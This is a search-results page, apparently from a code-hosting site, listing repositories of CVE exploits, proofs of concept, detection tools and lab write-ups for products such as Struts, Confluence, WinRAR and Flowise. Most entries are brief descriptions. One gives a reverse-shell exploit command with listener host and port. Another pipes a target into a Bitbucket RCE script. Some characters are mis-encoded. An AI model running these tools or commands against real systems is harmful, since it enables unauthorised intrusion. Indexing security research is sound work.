656080 matches found
CVE-2025-5548
โก CVE-2025-5548: Vulnerability Research & Exploitation This repository provides a technical analysis and proof-of-concept walkthrough for CVE-2025-5548. This research covers the complete lifecycle of the vulnerability, from initial binary inspection to successful exploitation. โ ๏ธ Legal & Ethical...
struts-s2-052-deserialization-rce-lab
Apache Struts S2-052 XML Deserialization RCE This repository demonstrates exploitation of Apache Struts S2-052 CVE-2017-9805 using malicious XML deserialization. The exploit was developed while solving the INE eWPTX Practice Range โ Struts XML Deserialization RCE lab. Vulnerability Overview Apach...
CVE-2024-29269
Telesquare TLR-2005KSHRCE CVE-2024-29269 Batch scan/exploit 1.ใใฎใใผใซใฏใปใญใฅใชใใฃใในใใฎใฟใซไฝฟ็จใใใฆใใใ้ๆณใชๆปๆใซใคใใฆใฏ่ฒฌไปปใ่ฒ ใใพใใ. 2.The tool is only used for security testing, and I am not responsible for any illegal attacks. 3.ๅทฅๅ ทไป ็จไบๅฎๅ จๆต่ฏ๏ผไปปไฝ้ๆณๆปๅปๆฌไบบๆฆไธ่ด่ดฃ. Help / /\ //\ | \ / \ | || | | \ / \ \ / / / \ / / \ \ / /\ | | |...
CVE-2013-3214
CVE-2013-3214 vTiger 5.4.0 Arbitrary File Upload to Remote Code Execution...
apache-httpd-path-traversal-checker
Apache HTTPD Path Traversal Checker 0x00 Overview On October 5, 2021, the directory traversal vulnerability CVE-2021-41773 in Apache HTTPD 2.4.49 was disclosed online, which could lead to arbitrary file reading if the traversed directory is accessible, such as when configured with Require all...
react2shell-CVE-2025-55182
Attack component contains the attack code. Just uncomment it and press the button to pefrom attach. To run your own code on server exploit simply change the value of prefix key in the payload. See the AttackString file for examples...
Spring4shell
Spring4shell Spring4shell...
CVE-2025-40602
CVE-2025-40602 CVE-2025-40602 is a local privilege escalation vulnerability in the appliance management console AMC of SonicWall Secure Mobile Access SMA 1000 series appliances. The vulnerability stems from insufficient authorization in the AMC, allowing authenticated remote attackers to escalate...
CVE-2023-38831-POC
Description Name : CVE-2023-38831 CVSS Score : 7.8 Affected Versions : Winrar 6.23 CVE-2023-38831 is a zero-day vulnerability affecting WinRAR all versions prior to 6.23. The issue is in the processing of ZIP format which could allow attackers to utilize affected archives to distribute malware. B...
CVE-2024-43918
Wordpress WBW Product Table Pro = 1.9.4 - Unauthenticated Arbitrary SQL Execution to Remote Code Execution CVE-2024-43918 The WBW Product Table Pro plugin for WordPress is vulnerable to unauthorized arbitrary SQL Execution due to a missing capability check on a function in all versions up to, and...
xz-backdoor-research
CVE-2024-3094 Research Toolkit By Nikolaos Natsopoulos , IAM Consultant Interactive browser-based tool accompanying the research report: "CVE-2024-3094: Supply Chain Compromise via Social Engineering and Build System Manipulation in XZ Utils" 10.5281/zenodo.20700609 About In March 2024, a backdoo...
CVE-2025-58434-59528
CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise -c "id" Reverse shell with existing key: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Flag| Description ---|--- -t, --target| Target URL -e, --email| Target account...
CVE-2022-26134
CVE-2022-26134 - OGNL injection vulnerability: Script proof of concept that exploits the remote code execution vulnerability affecting Atlassian Confluence 7.18 and lower products. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or...
-CVE-2021-44790
CVE-2021-44790 Description of CVE-2021-44790 CVE-2021-44790 describes a system-level security vulnerability in the modlua of the Apache HTTP Server, specifically in version 2.4.51 and earlier versions. This vulnerability is triggered when the r:parsebody function improperly handles HTTP...
CVE-2022-26711
CVE-2022-26711: Apple ImageIO WebP Integer Overflow An integer overflow vulnerability in Apple's ImageIO framework when parsing WebP images, leading to an out-of-bounds memory access. Full Writeup - Detailed root cause analysis with disassembly walkthrough. Overview An integer overflow occurs...
cve-2022-36804
Atlassian Bitbucket RCE PoC - CVE-2022-36804 This repo contains a simple PoC script for Atlassian Bitbucket's remove code execution vulnerability. You can simply run this script via following commands: echo 'bitbucket.redacted.com' | python3 cve-2022-36804.py Or you can create a targets file from...
CVE-2020-0688
Identify Exchange Servers vulnerable to CVE-2020-0688 CVE-2020-0688 is a critical vulnerability in Microsoft Exchange due to use of static keys. Although exploitation requires valid credentials at an email user level and the risk of mass-exploitation is low, this vulnerability might be very usefu...
Blackash-CVE-2017-0144
๐ CVE-2017-0144 โ EternalBlue: Microsoft Windows SMBv1 Remote Code Execution Vulnerability "One exploit. Dozens of malware families. Billions in damage." ๐ One-line summary CVE-2017-0144 is a critical remote code-execution vulnerability in the SMBv1 server implementation in Microsoft Windows. The...
CVE-2021-26084_Confluence
CVE-2021-26084Confluence Exploit CVE 2021 26084 Confluence dock0d1@arch$ python rce.py...
Oracle-Identity-Manager-CVE-2025-61757
Oracle Identity Manager CVE-2025-61757 Vulnerability Detection Tool v2.2 ๐ฅ Vulnerability Background Recently, Oracle Identity Manager was exposed to a severe remote code execution vulnerability CVE-2025-61757. Due to improper handling of request URIs in the SecurityFilter, attackers can bypass...